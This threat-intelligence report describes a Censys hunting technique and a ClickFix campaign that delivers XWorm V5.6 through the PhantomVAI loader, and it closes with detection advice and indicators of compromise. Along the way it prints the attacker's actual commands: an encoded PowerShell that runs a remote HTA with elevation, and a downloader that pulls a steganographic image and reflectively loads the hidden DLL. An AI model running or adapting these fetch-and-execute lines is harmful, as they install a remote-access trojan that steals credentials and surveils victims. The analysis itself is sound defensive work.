Executive Summary
- Technique-based HTTP body hunting using Censys, combining behavioral signal stacking with iterative negation and body hash frequency analysis, can reliably surface untagged malicious infrastructure at scale. The methodology described in this report reduced the entire observable web to 42 actionable results with a confirmed malicious hit rate exceeding 20%.
- This approach surfaced a live ClickFix campaign on a compromised Turkish medical equipment site (orcanmedikal[.]com[.]tr) delivering XWorm V5.6 via the PhantomVAI MaaS loader. The attack chain spans 5 stages across 4 domains.
- Full payload recovery was achieved without sandbox execution. ILSpy decompilation of the Babel-obfuscated PhantomVAI loader revealed the payload obfuscation is string reversal followed by base64 (or hex) decoding, with no cryptographic operations involved. This enabled static recovery of the XWorm binary and extraction of its C2 configuration (86.106.85[.]194:9000).
Introduction
Threat hunting often comes down to a scope tradeoff. Cast your net too wide and the results are unworkable. Scope too narrow and the interesting infrastructure slips through. This report presents a technique-based approach to HTTP body hunting using Censys that addresses this tension directly, and demonstrates its effectiveness by walking through a live discovery: a ClickFix campaign delivering XWorm V5.6 through a 5-stage attack chain.
The approach works by searching HTML response bodies for the co-occurrence of PowerShell download/execution cradle references and obfuscation indicators (base64 decoding, JavaScript obfuscation patterns, clipboard API access, encoded commands), then applying layered negation to suppress the noise that inevitably comes with querying the body content of nearly every HTTP server on the Internet. Body hash frequency analysis groups the surviving results into clusters, and iterative refinement separates campaigns from coincidental matches. Applied to this hunt, the technique produced 42 results from the entire Censys dataset, of which 6 belonged to a single body hash cluster on orcanmedikal[.]com[.]tr subdomains serving identical “AntiFraud Authenticator” ClickFix pages leading to the installation and execution of XWorm.
The Hunting Approach
Why the Web Body Matters
Web-delivered malware is where the most dramatic shift in the threat landscape is approaching, if it has not already fully arrived. The reasons are straightforward: with web-delivered malware, threat actors can:
- Vary payloads dynamically per visitor.
- Swap delivery infrastructure without rebuilding campaigns.
- Track targeting and delivery effectiveness using the same analytics methods that SEO and marketing teams rely on.
- Fingerprint researchers, sandbox environments, and security products before deciding whether to serve a payload at all.
The HTTP response body is the surface where all of this happens. It is also, by a wide margin, the noisiest signal surface available to a hunter. Having the body content of nearly every HTTP server on the internet at your fingertips is powerful, but only if you can separate signal from noise at scale.
Two Approaches: Topical vs. Technique
Censys body hunting can be approached from either a topical or a technique perspective.
- Topical hunting generates a seed list of terms related to a brand, industry, or theme (tax refunds, shipping notifications, banking logins) and searches for those terms and their variations across hostnames, HTML titles, headers, and bodies. This is effective for phishing campaigns that impersonate known brands.
- Technique hunting takes a different angle. Instead of searching for what a page says, it searches for what a page does. The emphasis shifts to behavioral patterns in the HTML body itself: download cradles, execution primitives, obfuscation signatures, clipboard manipulation, and encoding artifacts. The hunt in this post used the technique approach, targeting PowerShell specifically.
Signal Design: PowerShell + Obfuscation Stacking
This hunt required generating a list of common PowerShell patterns that have traditionally been leveraged as download or execution cradles. With the growing popularity of web-delivered threats, however, sophistication has increased alongside adoption. Threat actors are not using bare Invoke-WebRequest calls in cleartext HTML. They are using base64 encoding (sometimes multiple layers), bytecode representations, JavaScript obfuscation, string concatenation, eval() wrappers, String.fromCharCode construction, and clipboard API injection, among other techniques. The net needed to be very wide.
Two signal categories were stacked with AND logic to produce a query that is broad enough to catch obfuscated delivery but specific enough to exclude pages that only match one pattern:
Primary signal: PowerShell presence in body
web.endpoints.http.body=~`(powershell|PowerShell|Powershell)`This matches any web property whose HTTP response body contains a case-variant reference to PowerShell. On its own, this returns thousands of results dominated by blogs, tutorials, and documentation sites.
Corroborating signal: obfuscation/encoding indicators in body
web.endpoints.http.body=~`(atob\s*\(|_0x[a-f0-9]{4}|eval\s*\(|String\.fromCharCode|-enc\s+[A-Za-z0-9+/=]{20,}|navigator\.clipboard)`Each sub-pattern targets a specific obfuscation or delivery technique:
| Pattern | What it catches |
| atob\s*\( | JavaScript base64 decoding, common in payload delivery |
| _0x[a-f0-9]{4} | obfuscator.io-style hex variable names |
| eval\s*\( | Dynamic code execution |
| String\.fromCharCode | Character-by-character string construction |
| -enc\s+[A-Za-z0-9+/=]{20,} | PowerShell -EncodedCommand with a base64 blob of 20+ characters |
| navigator\.clipboard | Clipboard API access, the signature of ClickFix/clipboard hijack |
Threat exclusion filter:
and not web.threats: *This deliberately excludes assets that Censys has already tagged with known threats. The goal is to focus exclusively on undiscovered malicious infrastructure.
The AND stacking is critical. A page must contain both a PowerShell reference AND at least one obfuscation/encoding technique, AND must not already be tagged. This reduced the result set from thousands to a manageable number.
The Negation Problem
Even with signal stacking, technique hunting against body content gets noisy fast. PowerShell tutorial blogs legitimately contain both powershell and navigator.clipboard (for “copy code snippet” buttons). Error pages, server defaults, and framework landing pages match body patterns through their template content. The raw results are overwhelmed by legitimate infrastructure.
Three layers of negation were applied to suppress this noise:
- Layer 1: Known-goods exclusion (33 domain patterns). Regex hostname exclusions for major SaaS platforms, CDNs, social media, and cloud providers where the signals would match legitimate content: Shopify, WordPress, GitHub, Azure, Cloudflare, Google, Microsoft, and others.
- Layer 2: HTTP status code filtering. Exclusion of error responses, redirects, and non-content status codes (301, 302, 400, 403, 404, 500, 502, 503, and others) that match body patterns only because of error page templates.
- Layer 3: Master negative (200+ title exclusions across 9 languages). A curated exclusion list covering parked domains, default server pages (“Welcome to nginx!”, “Apache2 Ubuntu Default Page”), suspended/expired sites, domain-for-sale pages, CDN/WAF challenge pages, CMS defaults, maintenance pages, and framework scaffolds. The list spans English, Chinese, Japanese, Korean, French, Spanish, German, Portuguese, and Indonesian to account for the global distribution of internet infrastructure noise.
The final assembled query was 8,793 characters. The full query is available here.
Frequency Analysis: From Noise to Clusters
With the negation layers applied, the query returned 42 results. Rather than triaging these individually, the next step was to aggregate by web.endpoints.http.body_hash_sha256 to perform frequency analysis. This groups results by identical body content, revealing clusters: multiple web properties serving the same page.
The aggregation returned 34 unique body hashes distributed as follows:
| Tier | Threshold | Count | Interpretation |
| LARGE | 100+ | 0 | Likely legitimate (CMS themes, SaaS platforms) |
| MEDIUM | 10-99 | 0 | Primary investigation targets (phishing kits, campaigns) |
| SMALL | 3-9 | 2 | Targeted campaigns |
| SINGLETON | 1-2 | 32 | Noise unless hostname/title is suspicious |
The process then works in two passes. First, start from the largest clusters and work backwards: fetch the HTML body of each cluster’s representative, examine it, and if it is benign (a blog template, a tutorial site), refine the negation query to exclude it in future runs. Second, flip to the small clusters and singletons and look for anomalies: suspicious TLDs, brand impersonation in titles, or mismatches between the hostname and the page content.
The Discovery
The largest cluster (6 instances, body hash c52314cea0d81acd337cec2f968e55d20c52aca4504d7c452842cd1dcfb9fdf1) belonged to three hostnames on orcanmedikal[.]com[.]tr: the naked domain, www, and mail. All served identical 1,655-byte pages titled “AntiFraud Authenticator.” A Turkish medical equipment company serving an “AntiFraud Authenticator” page across all subdomains, including the mail subdomain, is a textbook ClickFix anomaly: fake security branding deployed on a compromised legitimate site.
Manual analysis of the HTML body confirmed the ClickFix pattern and revealed the full 5-stage infection chain described below.
The landing page lacks explicit instructions for the target to execute the copied malicious script. Therefore, it is plausible this page was reached following a preceding step, such as a phishing email, which would have provided the necessary execution instructions.
Background
ClickFix
ClickFix is a social engineering technique where a web page instructs the victim to copy a command to their clipboard and paste it into a Windows Run dialog or terminal. The technique exploits the trust gap between “clicking a button on a webpage” and “executing a command on your machine.” Users who would never download and run an executable will readily paste clipboard contents into a system prompt when presented with a convincing UI.
ClickFix pages typically impersonate security verification flows (CAPTCHAs, multi-factor prompts, antivirus checks) to create urgency. The technique has seen rapid adoption since mid-2024 across phishing, malware delivery, and initial access broker operations. An in-depth Censys perspective on ClickFix can be found here.
PhantomVAI Loader
PhantomVAI is a .NET-based MaaS loader first documented by Palo Alto Unit 42 in October 2025, also tracked as VMDetectLoader (IBM X-Force) and VMDetector Loader (SonicWall). It was originally sold on BreachForums by the user “katzadmin” as the delivery mechanism for Katz Stealer, a new infostealer advertised in April 2025. The loader has since expanded to deliver XWorm, RemcosRAT, AsyncRAT, FormBook, and DCRat across campaigns targeting government, healthcare, technology, and manufacturing sectors worldwide.
PhantomVAI is built from three open-source .NET projects: VMDetector (virtual machine detection), TaskScheduler (Windows task scheduler wrapper), and RUNPE (Mandark – project is no longer available on github). The combined assembly is Babel-obfuscated to evade static analysis and disguised as Microsoft.Win32.TaskScheduler.dll. Distribution relies on steganography: the loader DLL is base64-encoded and embedded inside JPEG or GIF images between BaseStart- and -BaseEnd text markers, hosted on legitimate file-sharing platforms (archive[.]org, paste[.]ee).
XWorm
XWorm is a commodity .NET RAT that has been widely distributed since 2022, with version 5.6 representing the current actively deployed variant. It is sold on underground forums and Telegram channels. XWorm provides credential theft, keylogging, webcam access, screenshot capture, USB propagation, and remote shell capabilities. The RAT’s configuration is AES-encrypted within the binary’s Settings class, using a key derived from the mutex value.
Capabilities
- Clipboard hijack delivery: ClickFix page copies PowerShell dropper to victim clipboard without interaction (auto-copy on page load in some variants)
- UAC bypass via mshta.exe: HTA execution with -Verb RunAs requests administrator privileges through a signed Windows binary
- Steganographic payload hiding: .NET loader concealed inside legitimate-looking JPEG images on archive[.]org
- VM-aware execution: PhantomVAI checks for VirtualBox, VMware, and VirtualPC before proceeding
- Process hollowing: Payload injected into RegAsm.exe (legitimate .NET utility) via RUNPE module
- Post-compromise access: XWorm V5.6 provides keylogging, webcam capture, screenshots, credential theft, USB propagation, and remote shell
Technical Characteristics
Attack Chain
Stage 1: ClickFix social engineering
| "Please click COPY to get your AntiFraud Personal Authenticator code"
| Copies to clipboard: powershell -EncodedCommand UwB0AGEAcgB0AC0A...
| Decoded: Start-Process mshta.exe hxxps://orcanmedikal[.]com[.]tr/tool[.]hta -Verb RunAs
v
Stage 2: HTA execution (tool.hta)
| Unicode emoji obfuscation (two different separator patterns)
| passman() regex strips separators to recover base64 + PowerShell command
| WScript.Shell.Run(cmd, 0, false) (hidden execution)
| Decoy AES-JS library inflates file to confuse static analysis
v
Stage 3: Steganographic loader retrieval
| PowerShell downloads JPEG from archive[.]org (now removed/darked)
| Extracts base64 between BaseStart-/BaseEnd markers in image data
| Reflectively loads .NET assembly: ClassLibrary1.Home.VAI()
v
Stage 4: PhantomVAI loader execution
| VM detection (VirtualBox, VMware, VirtualPC)
| Downloads payload from hxxps://4a-m[.]al/ConvertedFile[.]txt
| Payload is reversed and base64-encoded; loader reverses string then base64-decodes
| Process hollowing via RUNPE into RegAsm.exe
| Persistence via scheduled task + startup registry
v
Stage 5: XWorm V5.6 RAT
C2: 86.106.85[.]194:9000
Campaign: "XWorm V5.6"
Mutex: UGUHrsQaOFvrEntr
Attack Chain
The attack chain progresses through five stages. Each stage decodes, downloads, or transforms the next. The C2 address does not appear in cleartext at any stage of the chain. It is AES-encrypted within the XWorm binary’s Settings class and only decrypted at runtime during the RAT’s initialization.
Stage 1: ClickFix Page
The entry point is a social engineering page served from all subdomains of orcanmedikal[.]com[.]tr (naked domain, www, mail). The page displays “Please click COPY to get your AntiFraud Personal Authenticator code” with a large blue COPY button. Clicking copies a PowerShell command to the clipboard via navigator.clipboard.writeText():
powershell -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAG0AcwBoAHQAYQAuAGUAeABlACAAaAB0AHQAcABzADoALwAvAG8AcgBjAGEAbgBtAGUAZABpAGsAYQBsAC4AYwBvAG0ALgB0AHIALwB0AG8AbwBsAC4AaAB0AGEAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMADecoded (UTF-16LE): Start-Process mshta.exe hxxps://orcanmedikal[.]com[.]tr/tool[.]hta -Verb RunAs
The command uses mshta.exe as a LOLBin to execute a remote HTA file with UAC elevation (-Verb RunAs). The HTA is hosted on the same compromised domain. Body hash c52314cea0d81acd337cec2f968e55d20c52aca4504d7c452842cd1dcfb9fdf1 is identical across all 6 web property instances, confirming a single deployment.
Stage 2: HTA with Unicode Emoji Obfuscation (tool.hta, 110 KB)
The HTA file (SHA256: 020668f00325631bec2b9c6dd8596d7744e118f68424fdbb28eb2a318f3a7adf) runs hidden (SHOWINTASKBAR=”no”, WINDOWSTATE=”minimize”) and contains an IIFE that creates a WScript.Shell object and constructs a PowerShell command from obfuscated fragments.
Two distinct Unicode separator sequences are interleaved between every character of the payload data:
| Component | Separator | Purpose |
| Base64 payload blob | 🕷ᾭ🖐ᤴ🧸ᬋᏍ֖ྎ🦷ࡐൕ⠞ĕ | Hides the base64 string that decodes to the PowerShell loader |
| PowerShell command fragments | ᬤ⪏аdzᮙ⡾ᐦᗏẸަࣆଜ্┫ | Hides the command structure (powershell -NoProfile -WindowStyle Hidden…) |
A passman() function strips each separator via regex replacement to reconstruct the cleartext. Variable names use English vocabulary obfuscation: huggers (WScript.Shell), deciduousness (base64 payload), napaceous (PowerShell command), doughlike (raw data). An embedded AES-JS library (~600 lines, CTR mode) serves no functional purpose. It is decoy code to inflate the file from ~2 KB to ~110 KB and confuse static analysis tools that weight file complexity.
The reconstructed command executes powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('<blob>')) | Invoke-Expression" via WScript.Shell.Run(cmd, 0, false) (hidden window, no wait).
The decoded PowerShell (655 bytes) is the Stage 3 downloader:
$wc = New-Object Net.WebClient; $wc.Encoding = [System.Text.Encoding]::UTF8;
$null = ($wc.DownloadString('hxxps://archive[.]org/download/optimized_msi_20250904/optimized_MSI[.]png')
-match 'BaseStart-(.*?)-BaseEnd');
$valor = $matches[1];
$assembly = [Reflection.Assembly]::Load([Convert]::FromBase64String($valor));
$type = $assembly.GetType('ClassLibrary1.Home');
$method = $type.GetMethod('VAI');
$method.Invoke($null, [object[]]@($olinia,'0','C:\Users\Public\Downloads','Name_File',
'RegAsm','','RegAsm','0','URL','C:\Users\Public\Downloads','Name_File',
'hta','1','0','Task_Name','0','startup_onstart'));The $olinia variable contains the payload staging URL stored as reversed base64: 0hHduUGbpZEZlRnclZnbvN0LsFmLt1SY08yL6MHc0RHa decodes to hxxps://4a-m[.]al/ConvertedFile[.]txt.
Stage 3: Steganographic Loader Retrieval
The PowerShell downloads a 2.9 MB JPEG (3840×2160, progressive) from archive[.]org (item optimized_msi_20250904, now removed). A base64-encoded .NET DLL is appended after the image data between BaseStart- and -BaseEnd text markers, starting at byte offset 1,390,750. The extracted DLL (SHA256: adc2f550e7ff2b707a070ffaa50fc367af6a01c037f1f5b347c444cca3c9a650) is a 1.1 MB PE32 .NET assembly: the PhantomVAI loader, Babel-obfuscated and disguised as Microsoft.Win32.TaskScheduler.dll. The PowerShell script loads it reflectively via [Reflection.Assembly]::Load() and invokes the VAI method with the staging URL and injection parameters.
Steganographic extraction is straightforward once the marker format is known:
with open("image.jpg", "rb") as f:
data = f.read()
start = data.find(b"BaseStart-") + len("BaseStart-")
end = data.find(b"-BaseEnd")
b64_payload = data[start:end] # 1,509,376 bytes of base64
loader_dll = base64.b64decode(b64_payload) # 1,132,032 bytes, MZ headerThe base64 payload began at offset 1,390,750 (after the JPEG image data) and ended at offset 2,900,137 (7 bytes from end of file). The decoded output was a valid PE32 .NET DLL.
Stage 4: PhantomVAI Loader Execution
ILSpy decompilation of the 136K-line Babel-obfuscated loader (method XJfVwkZyFI, the obfuscated VAI) revealed the payload processing pipeline through a 45-case state machine:
- Reverse the $olinia parameter (reversed base64 to URL)
- Download content from hxxps://4a-m[.]al/ConvertedFile[.]txt via WebClient.DownloadString()
- Reverse the downloaded string (Strings.StrReverse())
- Base64-decode the reversed string (Convert.FromBase64String())
- Check PE architecture (read e_lfanew at offset 0x3C, check optional header magic for PE32/PE32+)
- Inject into target process via Mandark.Load() (process hollowing using CreateProcess suspended, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread)
The decompiled state machine, traced through the non-sequential switch cases:
Case 32: s = Strings.StrReverse(P_0) // Reverse the URL parameter
Case 31: bytes = Convert.FromBase64String(s) // Decode reversed base64 -> URL
Case 6: address = UTF8.GetString(bytes) // Get URL string
Case 29: text2 = webClient.DownloadString(addr) // Download payload content
Case 2: text2 = Strings.StrReverse(text2) // REVERSE THE CONTENT
Case 21: array = Convert.FromBase64String(text2) // Base64 decode -> PE binary
Case 5: Mandark.Load(array, text3, args) // Process hollowing injectionAfter reversing the downloaded string, the loader checks whether the result is composed entirely of hexadecimal characters (0-9a-fA-F). If so, it hex-decodes the content by converting pairs of characters to bytes via Convert.ToByte(text2.Substring(i * 2, 2), 16). If the reversed content contains non-hex characters (as is the case with base64, which includes +, /, and =), it falls through to Convert.FromBase64String()instead. Both paths produce the raw PE binary that is passed to Mandark.Load() for injection. In this campaign, the payload is base64-encoded and reversed, so the loader takes the base64 path. No cryptographic operations are performed at any stage. The loader also performs VM detection (VirtualBox, VMware, VirtualPC via WMI and device enumeration) and establishes persistence through scheduled tasks and startup registry entries.
Static verification of the reversal scheme:
with open("ConvertedFile.txt", "r", encoding="utf-8-sig") as f:
content = f.read().strip()
reversed_content = content[::-1] # Reverse the string
decoded = base64.b64decode(reversed_content) # Base64 decode
# Result: valid PE32 .NET binary with MZ header, 36,864 bytesStage 5: XWorm V5.6
The decrypted binary (SHA256: 7e13561d794f7065e9cb3afc319acc7ac9861b4cf653082c1a11d5cc25a5d1f1, 36,864 bytes, PE32 .NET, internal name SecondDirect.exe) is XWorm V5.6. ILSpy decompilation (2,062 lines) revealed the Settings class containing base64-encoded AES ciphertext for each configuration field:
public class Settings {
public static string Hosts = "FBMIAqlOmrXJo7A2Dp7Xkw==";
public static string Port = "029Oa4pSn/Y3eiyvoRZ5Sg==";
public static string KEY = "IyUibtRDndwYUGDdeHGhhw==";
public static string Mutex = "UGUHrsQaOFvrEntr";
}The AlgorithmAES.Decrypt() method uses RijndaelManaged with a key derived from the mutex:
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
byte[] key = new byte[32];
byte[] hash = md5.ComputeHash(Encoding.UTF8.GetBytes(Settings.Mutex));
Array.Copy(hash, 0, key, 0, 16); // MD5 -> bytes [0:16]
Array.Copy(hash, 0, key, 15, 16); // MD5 -> bytes [15:31] (overlapping by 1)
// AES-256-ECB with this keyXWorm AES key derivation step-by-step:
- Take the mutex string: UGUHrsQaOFvrEntr
- Compute MD5 hash (16 bytes)
- Create 32-byte key: copy the MD5 digest to bytes [0:16], then copy the MD5 digest again to bytes [15:31], producing a 1-byte overlap at position 15
- Decrypt each configuration field with AES-256-ECB using this 32-byte key
Configuration extracted via AES-256-ECB decryption:
| Parameter | Value |
| C2 Host | 86.106.85[.]194 |
| C2 Port | 9000 |
| KEY | <123456789> |
| SPL (separator) | |
| Groub (campaign) | XWorm V5.6 |
| Mutex | UGUHrsQaOFvrEntr |
| USB filename | USB.exe |
| Logger path | \Log.tmp |
| Sleep | 3 seconds |
Artifacts
| File | SHA256 | Description |
| stage1_tool.hta | 020668f00325631bec2b9c6dd8596d7744e118f68424fdbb28eb2a318f3a7adf | HTA with Unicode emoji obfuscation, served from orcanmedikal[.]com[.]tr |
| stage2_optimized_MSI.jpg | 656991f4dabe0e5d989be730dac86a2cf294b6b538b08d7db7a0a72f0c6c484b | 3840×2160 JPEG with steganographic .NET DLL (BaseStart/BaseEnd markers) |
| stage3_phantomvai_loader.dll | adc2f550e7ff2b707a070ffaa50fc367af6a01c037f1f5b347c444cca3c9a650 | PhantomVAI loader extracted from JPEG. PE32 .NET DLL, 1.1 MB. Babel-obfuscated. |
| stage4_ConvertedFile.txt | 6f67c7441e31d448502050c9783a1032c307946323f29e41a82fb19915c59531 | Reversed + base64-encoded XWorm payload, downloaded from 4a-m[.]al |
| stage5_xworm_v56.exe | 7e13561d794f7065e9cb3afc319acc7ac9861b4cf653082c1a11d5cc25a5d1f1 | Decrypted XWorm V5.6 PE32 .NET binary (SecondDirect.exe) |
Static Analysis Results
tool.hta
- Classification: MALICIOUS
- Risk Score: 8
- Threat Name: Script-JS.Downloader / RemcosRAT
- Community Detections: 11/35
- Indicators: Contains script files, WScript.Shell execution
The RemcosRAT classification reflects the threat intelligence profile of the PhantomVAI loader, which has been widely observed delivering RemcosRAT in other campaigns. In this instance, the actual payload delivered through the chain is XWorm V5.6, as confirmed by rat-king-parser YARA matching and the extracted configuration.
PhantomVAI Loader (stage3_phantomvai_loader.dll)
- Classification: MALICIOUS
- Disguised as: Microsoft.Win32.TaskScheduler.dll
- Indicators: VirtualBox/VMware/VirtualPC detection, autorun registry tampering, process injection, base64 decoding, file downloads
XWorm V5.6 (stage5_xworm_v56.exe)
- Classification: MALICIOUS
- Internal name: SecondDirect.exe
- Indicators: Webcam capture, screenshots, socket communications, security product detection, WMI system enumeration, file execution, system shutdown tampering
Case Study: Static Payload Recovery Without Sandbox Execution
The complete payload recovery, from encoded blob to decrypted XWorm binary with extracted C2 configuration, was achieved entirely through static analysis without executing any malware or using sandbox infrastructure.
The critical blocker was the PhantomVAI loader: a 1.1 MB Babel-obfuscated .NET DLL that appeared to “decrypt” the downloaded payload before injection. The archive[.]org JPEG containing this loader had been removed (“is_dark”: true in IA metadata) with no Wayback Machine snapshots available.
The steganographic image was recovered from VirusTotal. The loader DLL was extracted by locating the BaseStart-/-BaseEnd markers in the JPEG’s trailing data (1,509,376 bytes of base64 starting at offset 1,390,750). ILSpy decompilation produced 135,953 lines of C#, with all method names randomized by Babel obfuscation (e.g., XJfVwkZyFI for VAI, Mandark.Load for the RUNPE injection).
Tracing the state machine in XJfVwkZyFI through 45 switch cases identified the payload processing pipeline: download via WebClient.DownloadString(), reverse the string via Strings.StrReverse(), base64-decode via Convert.FromBase64String(). The only protection applied to the payload is string reversal combined with base64 encoding. No cryptographic operations are involved.
Applying this transformation to the downloaded ConvertedFile.txt (reverse the string, base64-decode) produced a valid PE32 .NET binary with MZ header. ILSpy decompilation of the 2,062-line XWorm binary revealed the Settings class with base64-encoded AES ciphertext for each configuration field and the AlgorithmAES.Decrypt() method using RijndaelManaged with a key derived from MD5(mutex) doubled to 32 bytes. Decryption with pycryptodome produced the cleartext C2 configuration: 86.106.85[.]194:9000.
The PhantomVAI loader has been observed delivering RemcosRAT, AsyncRAT, and other commodity RATs in separate campaigns, and the HTA’s threat intelligence profile reflected this association. Rat-king-parser YARA matching and the <Xwormmm> separator confirmed the actual payload in this campaign as XWorm V5.6, underscoring the importance of manual payload recovery for accurate family attribution when MaaS loaders are involved.
Censys Infrastructure Analysis
The XWorm C2 at 86.106.85[.]194 sits on M247 (AS9009) in Manchester, UK. Censys observes a single service with a self-signed TLS certificate (CN=WIN-3O8L0TLB135). The XWorm listener was observed on port 9000.
The payload staging domain 4a-m[.]al resolves to 2 web properties in Censys. The domain was still actively serving the encoded XWorm payload (ConvertedFile.txt) at the time of investigation.
Censys observes 6 web property instances across 3 hostnames on the orcanmedikal[.]com[.]tr domain, all serving identical 1,655-byte ClickFix pages with title “AntiFraud Authenticator”.
Data Flow Summary
Censys Search v2 API
|
|-- build-query: Assembled 8,793-char query with master negative + known-goods
|-- aggregate (body_hash_sha256): 42 results, 33 unique hashes, 2 SMALL clusters
|-- analyze-clusters: Fetched 5 representatives per cluster via search API
|-- search (hostname, title, body_hash): Full triage list of 42 results
|-- bodies (view API): Raw HTML for 8 investigation targets
|-- scan-bodies: Pattern matching scored orcanmedikal at 9 (CRITICAL)
v
Payload retrieval
|-- download-payload: Retrieved tool.hta from orcanmedikal[.]com[.]tr
|-- download-payload: Retrieved ConvertedFile.txt from 4a-m[.]al (live staging)
v
Static analysis (ReversingLabs A1000 API)
|-- tool.hta: MALICIOUS, Script-JS.Downloader/RemcosRAT, risk 8, 11/35 detections
|-- loader DLL: MALICIOUS, VM detection + process injection
|-- xworm binary: MALICIOUS, webcam + screenshots + socket comms
v
Manual analysis
|-- HTA deobfuscation: Unicode separator stripping, base64 decode, PS reconstruction
|-- Steganography extraction: BaseStart/BaseEnd markers in JPEG, base64 decode -> DLL
|-- ILSpy decompilation: 136K lines (loader), 2K lines (XWorm)
|-- Loader RE: Traced state machine to find StrReverse + FromBase64String pipeline
|-- XWorm config: AES-256-ECB decrypt with MD5(mutex) key
|-- rat-king-parser: YARA confirmed XWorm V5.6Conclusion: Implications for Defense
ClickFix delivery combined with MaaS loaders like PhantomVAI represents a reliable technique for deploying commodity RATs to compromised infrastructure without triggering automated detection. The use of steganography on legitimate platforms (archive[.]org), trivial but effective obfuscation (Unicode emoji separators, string reversal), and process hollowing into signed Windows binaries (RegAsm.exe) creates a chain where each stage individually appears benign to most detection systems.
Host-based detection priorities: Monitor for mshta.exe execution with remote URLs and -Verb RunAs arguments. Alert on PowerShell processes spawned by mshta.exe. Watch for RegAsm.exe execution outside of legitimate .NET development contexts, particularly when spawned by PowerShell or with unusual network connections. The XWorm mutex UGUHrsQaOFvrEntr, USB propagation filename USB.exe, and keylogger path \Log.tmp are high-fidelity indicators if present. Scheduled tasks created by PhantomVAI for persistence should be monitored.
Network-based detection priorities: Block or alert on connections to 86.106.85[.]194:9000. Monitor for TLS connections to servers presenting CN=WIN-3O8L0TLB135 (certificate fingerprint b67d8db2f53547b4a5b070b736cd93cbdf3ece21109972d54f193e8ede0b584b). Alert on outbound connections to 4a-m[.]al. Monitor for navigator.clipboard.writeText() calls in web content served from compromised domains, particularly when the clipboard content contains PowerShell commands.
Hunting methodology: The technique-based body hunting approach described in this report is repeatable and scales to any behavioral pattern observable in HTML response bodies. The query is provided in full, the negation framework adapts to new noise sources through iterative refinement, and the cluster-first analysis workflow systematically separates campaigns from coincidental matches. Defenders with access to the Censys platform can run web.endpoints.http.body=~”powershell” and web.endpoints.http.body=~”navigator.clipboard” and not web.threats: * as a starting point for surfacing untagged ClickFix pages delivering PowerShell payloads, then apply their own negation layers to tune for their environment. The body hash c52314cea0d81acd337cec2f968e55d20c52aca4504d7c452842cd1dcfb9fdf1 and the C2 IP 86.106.85[.]194 should be added to collections. The certificate fingerprint on the C2 provides a pivot for tracking infrastructure rotation.
Indicators of Compromise
Network IOCs
| Type | Value | Role |
| Domain | orcanmedikal[.]com[.]tr | Compromised host serving ClickFix page + HTA |
| Domain | mail.orcanmedikal[.]com[.]tr | Same ClickFix page |
| Domain | www.orcanmedikal[.]com[.]tr | Same ClickFix page |
| URL | hxxps://orcanmedikal[.]com[.]tr/tool[.]hta | Stage 2 HTA payload |
| URL | hxxps://archive[.]org/download/optimized_msi_20250904/optimized_MSI[.]png | Stage 3 steganographic JPEG (removed/darked) |
| Domain | 4a-m[.]al | Payload staging infrastructure (Albanian domain) |
| URL | hxxps://4a-m[.]al/ConvertedFile[.]txt | Stage 4 encoded XWorm payload (live) |
| IP | 86.106.85[.]194 | XWorm V5.6 C2 server |
| Port | 9000 | XWorm V5.6 C2 port |
Host IOCs
| Type | Value | Context |
| Body hash | c52314cea0d81acd337cec2f968e55d20c52aca4504d7c452842cd1dcfb9fdf1 | ClickFix page body (6 instances across orcanmedikal subdomains) |
| Mutex | UGUHrsQaOFvrEntr | XWorm V5.6 mutex |
| LOLBin | mshta.exe | HTML Application Host, used for HTA execution with UAC elevation |
| LOLBin | RegAsm.exe | .NET assembly registration utility, process hollowing injection target |
| Persistence | Scheduled task + startup registry | Set by PhantomVAI loader |
| USB spread | USB.exe | XWorm USB propagation filename |
| Log file | \Log.tmp | XWorm keylogger output path |
File Hashes
| SHA256 | MD5 | Type |
| 020668f00325631bec2b9c6dd8596d7744e118f68424fdbb28eb2a318f3a7adf | 6eecd66ae05253ef93d83ece6b821d8b | HTA (tool.hta) |
| 656991f4dabe0e5d989be730dac86a2cf294b6b538b08d7db7a0a72f0c6c484b | — | Steganographic JPEG |
| adc2f550e7ff2b707a070ffaa50fc367af6a01c037f1f5b347c444cca3c9a650 | 34e90568af4dcd40f4f04174ec326e2a | PhantomVAI loader DLL |
| 6f67c7441e31d448502050c9783a1032c307946323f29e41a82fb19915c59531 | e013048d6ae5bb1289e36c9742b58934 | Encoded payload |
| 7e13561d794f7065e9cb3afc319acc7ac9861b4cf653082c1a11d5cc25a5d1f1 | 46912c7ccc19ec28668f1e2771c37eed | XWorm V5.6 |
TLS Indicator
Self-signed certificate on C2 with CN=WIN-3O8L0TLB135 (SHA256: b67d8db2f53547b4a5b070b736cd93cbdf3ece21109972d54f193e8ede0b584b).
References
- Palo Alto Unit 42, “PhantomVAI Loader Delivers a Range of Infostealers” (October 2025): https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- SonicWall Capture Labs, “VMDetector Loader Uses Steganography to Spread RATs”: https://www.sonicwall.com/blog/vmdetector-based-loader-abuses-steganography-to-deliver-infostealers
- IBM X-Force, “DCRat Presence Growing in Latin America” (VMDetectLoader): https://www.ibm.com/think/x-force/dcrat-presence-growing-in-latin-america
- VirusTotal, steganographic JPEG (SHA256: 656991f4dabe0e5d989be730dac86a2cf294b6b538b08d7db7a0a72f0c6c484b): https://www.virustotal.com/gui/file/656991f4dabe0e5d989be730dac86a2cf294b6b538b08d7db7a0a72f0c6c484b
- VMDetector (open-source VM detection library): https://github.com/robsonfelix/VMDetector
- TaskScheduler (open-source .NET wrapper): https://github.com/dahall/TaskScheduler
- ISC, “Another Day, Another Malicious JPEG”: https://isc.sans.edu/diary/32738
